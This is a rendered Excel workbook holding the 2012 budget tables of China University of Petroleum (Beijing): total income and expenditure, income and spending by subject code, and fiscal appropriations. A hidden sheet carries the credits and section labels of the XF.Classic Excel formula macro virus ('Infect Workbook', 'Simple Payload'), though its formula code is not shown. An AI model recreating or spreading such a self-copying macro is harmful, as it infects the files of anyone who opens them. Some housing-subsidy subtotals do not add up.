{"text_format":"3","workbook":"xls","n_sheets":5,"sheets":["附件1-预算收支总表","CDKOHSLJ","收入预算表","支出预算表","财政拨款支出预算表"],"not_rendered":{"external_links":32,"defined_names":165},"read":"whole","date_system":"1900","formulas":"cached_only"}

{"sheet":"附件1-预算收支总表","index":0,"n_rows":17,"n_cols":4,"rows_kept":17,"merged":[[1,0,1,3],[4,0,4,1],[4,2,4,3]],"flags":["formulas_cached_only"]}
["附件1："]
["中国石油大学（北京）收支预算总表"]
[]
[{"$nulls":3},"            单位：万元"]
["收      入",null,"支      出"]
["项目","预算数","项目","预算数"]
["一、财政拨款",{"v":57003.66,"d":"57,003.66"},"一、教育支出",{"v":158658.75,"d":"158,658.75"}]
["二、事业收入",{"v":100000,"d":"100,000.00"},"二、科学技术支出",{"v":1825,"d":"1,825.00"}]
["三、事业单位经营收入",null,"三、国土海洋气象等支出",{"v":360,"d":"360.00"}]
["四、其他收入",{"v":11730,"d":"11,730.00"},"四、住房保障支出",{"v":3189.91,"d":"3,189.91"}]
["    其中：捐赠收入",0]
[]
["本年收入合计",{"v":168733.66,"d":"168,733.66"},"本年支出合计",{"v":164033.66,"d":"164,033.66"}]
["用事业基金弥补收支差额",0,"结转下年",{"v":100000,"d":"100,000.00"}]
["上年结转",{"v":95300,"d":"95,300.00"}]
[]
["收    入    总    计",{"v":264033.66,"d":"264,033.66"},"    支    出    总    计",{"v":264033.66,"d":"264,033.66"}]

{"sheet":"CDKOHSLJ","index":1,"n_rows":26,"n_cols":3,"rows_kept":26,"hidden":true,"flags":["formulas_cached_only"]}
["2012-2-10：高校财务信息公开附件1-6.XLS"]
["Book1"]
["C:\\Program Files\\Microsoft Office\\Office10\\xlstart\\Book1.",null,"**Auto and On Sheet Starts Here**"]
[{"$error":"#N/A"}]
[]
[]
["Classic.Poppy by VicodinES"]
["With Lord Natas"]
["An Excel Formula Macro Virus (XF.Classic)"]
["Hydrocodone/APAP 10-650 For Your Computer"]
["(C) The Narkotic Network 1998"]
[]
[]
["**Simple Payload**"]
[]
[]
[null,null,"**Set Our Values and Paths**"]
[]
[]
["**Add New Workbook, Infect It, Save It As Book1.xls**"]
[]
[]
[]
[]
[]
[null,null,"**Infect Workbook**"]

{"sheet":"收入预算表","index":2,"n_rows":21,"n_cols":10,"rows_kept":21,"merged":[[1,0,1,9],[3,0,4,0],[3,1,4,1],[3,2,4,2],[3,3,4,3],[3,4,4,4],[3,5,3,6],[3,7,4,7],[3,8,4,8],[3,9,4,9]],"flags":["formulas_cached_only"]}
[]
["中国石油大学（北京）收入预算表"]
[{"$nulls":9},"单位：万元"]
["科目编码","科目名称","本年收入合计","财政拨款收入","上级补助收入","事业收入",null,"经营收入","附属单位缴款","其他收入"]
[null,null,"","","","金额","其中：教育收费","",""]
["205","教育支出",{"v":163443.75,"d":"163,443.75"},{"v":52832.66,"d":"52,832.66"},0,{"v":100000,"d":"100,000.00"},{"v":35000,"d":"35,000.00"},0,{"v":1300,"d":"1,300.00"},{"v":9311.09,"d":"9,311.09"}]
["  20502","  普通教育",{"v":163443.75,"d":"163,443.75"},{"v":52832.66,"d":"52,832.66"},0,{"v":100000,"d":"100,000.00"},{"v":35000,"d":"35,000.00"},0,{"v":1300,"d":"1,300.00"},{"v":9311.09,"d":"9,311.09"}]
["   2050205","    高等教育",{"v":163443.75,"d":"163,443.75"},{"v":52832.66,"d":"52,832.66"},0,{"v":100000,"d":"100,000.00"},{"v":35000,"d":"35,000.00"},0,{"v":1300,"d":"1,300.00"},{"v":9311.09,"d":"9,311.09"}]
["206","科学技术支出",{"v":1800,"d":"1,800.00"},1800,0,0,0,0,0,0]
["  20602","  基础研究",{"v":1800,"d":"1,800.00"},1800,0,0,0,0,0,0]
["   2060201","  机构运行",{"v":520,"d":"520.00"},520,0,0,0,0,0,0]
["   2060204","  重点实验室及相关设施",{"v":1280,"d":"1,280.00"},1280,0,0,0,0,0,0]
["220","国土海洋气象等支出",{"v":300,"d":"300.00"},300,0,0,0,0,0,0]
["  22001","  国土资源事务",{"v":300,"d":"300.00"},300,0,0,0,0,0,0]
["   2200120","    矿产资源专项收入安排的支出",{"v":300,"d":"300.00"},300,0,0,0,0,0,0]
["221","住房保障支出",{"v":3189.91,"d":"3,189.91"},2071,0,0,0,0,0,{"v":1118.91,"d":"1,118.91"}]
["  22102","  住房改革支出",{"v":2189.91,"d":"2,189.91"},2071,0,0,0,0,0,118.91]
["   2210201","    住房公积金",{"v":3108,"d":"3,108.00"},2033,0,0,0,0,0,{"v":1075,"d":"1,075.00"}]
["   2210202","    提租补贴",{"v":227,"d":"227.00"},190,0,0,0,0,0,{"v":37,"d":"37.00"}]
["   2210203","    购房补贴",{"v":973.8199999999999,"d":"973.82"},966.91,0,0,0,0,0,6.91]
[null,"合计",{"v":168733.66,"d":"168,733.66"},{"v":57003.66,"d":"57,003.66"},0,{"v":100000,"d":"100,000.00"},{"v":35000,"d":"35,000.00"},0,{"v":1300,"d":"1,300.00"},{"v":10430,"d":"10,430.00"}]

{"sheet":"支出预算表","index":3,"n_rows":23,"n_cols":8,"rows_kept":23,"merged":[[1,0,1,7],[3,0,4,0],[3,1,4,1],[3,2,4,2],[3,3,4,3],[3,4,4,4],[3,5,4,5],[3,6,4,6],[3,7,4,7]],"flags":["formulas_cached_only"]}
[]
["中国石油大学（北京）支出预算表"]
[{"$nulls":7},"单位：万元"]
["科目编码","科目名称","合计","基本支出","项目支出","上缴上级支出","经营支出","对下级单位补助支出"]
[null,null,"",null,"","","",""]
["205","教育支出",{"v":158658.75,"d":"158,658.75"},{"v":70007.57,"d":"70,007.57"},{"v":88651.18,"d":"88,651.18"},0,0,0]
["  20502","  普通教育",{"v":158658.75,"d":"158,658.75"},{"v":70007.57,"d":"70,007.57"},{"v":88651.18,"d":"88,651.18"},0,0,0]
["   2050205","    高等教育",{"v":95658.75,"d":"95,658.75"},{"v":7007.57,"d":"7,007.57"},{"v":88651.18,"d":"88,651.18"},0,0,0]
["206","科学技术支出",{"v":1825,"d":"1,825.00"},{"v":520,"d":"520.00"},{"v":1305,"d":"1,305.00"},0,0,0]
["  20602","  基础研究",{"v":1800,"d":"1,800.00"},{"v":520,"d":"520.00"},{"v":1280,"d":"1,280.00"},0,0,0]
["   2060201","  机构运行",{"v":520,"d":"520.00"},{"v":520,"d":"520.00"},0,0,0,0]
["   2060204","  重点实验室及相关设施",{"v":1280,"d":"1,280.00"},0,{"v":1280,"d":"1,280.00"},0,0,0]
["20699","其他科学技术支出",{"v":25,"d":"25.00"},0,{"v":25,"d":"25.00"},0,0,0]
[" 2069999","  其他科学技术支出",{"v":25,"d":"25.00"},0,{"v":25,"d":"25.00"},0,0,0]
["220","国土海洋气象等支出",{"v":360,"d":"360.00"},0,{"v":360,"d":"360.00"},0,0,0]
["  22001","  国土资源事务",{"v":360,"d":"360.00"},0,{"v":360,"d":"360.00"},0,0,0]
["   2200120","    矿产资源专项收入安排的支出",{"v":360,"d":"360.00"},0,{"v":360,"d":"360.00"},0,0,0]
["221","住房保障支出",{"v":3189.91,"d":"3,189.91"},{"v":3189.91,"d":"3,189.91"},0,0,0,0]
["  22102","  住房改革支出",{"v":3189.91,"d":"3,189.91"},{"v":3189.91,"d":"3,189.91"},0,0,0,0]
["   2210201","    住房公积金",{"v":2033,"d":"2,033.00"},{"v":2033,"d":"2,033.00"},0,0,0,0]
["   2210202","    提租补贴",{"v":190,"d":"190.00"},{"v":190,"d":"190.00"},0,0,0,0]
["   2210203","    购房补贴",966.91,966.91,0,0,0,0]
[null,"合计",{"v":164033.66,"d":"164,033.66"},{"v":73717.48000000001,"d":"73,717.48"},{"v":90316.18,"d":"90,316.18"},0,0,0]

{"sheet":"财政拨款支出预算表","index":4,"n_rows":20,"n_cols":6,"rows_kept":20,"merged":[[1,0,1,5]],"flags":["formulas_cached_only"]}
[]
["中国石油大学（北京）财政拨款支出预算表"]
[{"$nulls":5},"单位：万元"]
["科目编码","科目名称","合  计","基本支出","项目支出","备注"]
["205","教育支出",{"v":52832.66,"d":"52,832.66"},{"v":29373.48,"d":"29,373.48"},{"v":23459.18,"d":"23,459.18"}]
["  20502","  普通教育",{"v":52832.66,"d":"52,832.66"},{"v":29373.48,"d":"29,373.48"},{"v":23459.18,"d":"23,459.18"}]
["   2050205","    高等教育",{"v":52832.66,"d":"52,832.66"},{"v":29373.48,"d":"29,373.48"},{"v":23459.18,"d":"23,459.18"}]
["206","科学技术支出",{"v":1800,"d":"1,800.00"},{"v":520,"d":"520.00"},{"v":1280,"d":"1,280.00"}]
["  20602","  基础研究",{"v":1800,"d":"1,800.00"},{"v":520,"d":"520.00"},{"v":1280,"d":"1,280.00"}]
["   2060201","  机构运行",{"v":520,"d":"520.00"},{"v":520,"d":"520.00"},0]
["   2060204","  重点实验室及相关设施",{"v":1280,"d":"1,280.00"},0,{"v":1280,"d":"1,280.00"}]
["220","国土海洋气象等支出",{"v":300,"d":"300.00"},0,{"v":300,"d":"300.00"}]
["  22001","  国土资源事务",{"v":300,"d":"300.00"},0,{"v":300,"d":"300.00"}]
["   2200120","    矿产资源专项收入安排的支出",{"v":300,"d":"300.00"},0,{"v":300,"d":"300.00"}]
["221","住房保障支出",{"v":2071,"d":"2,071.00"},{"v":2071,"d":"2,071.00"},0]
["  22102","  住房改革支出",{"v":2071,"d":"2,071.00"},{"v":2071,"d":"2,071.00"},0]
["   2210201","    住房公积金",{"v":958,"d":"958.00"},{"v":958,"d":"958.00"},0]
["   2210202","    提租补贴",{"v":153,"d":"153.00"},{"v":153,"d":"153.00"},0]
["   2210203","    购房补贴",{"v":960,"d":"960.00"},{"v":960,"d":"960.00"},0]
[null,"合计",{"v":57003.66,"d":"57,003.66"},{"v":31964.48,"d":"31,964.48"},{"v":25039.18,"d":"25,039.18"}]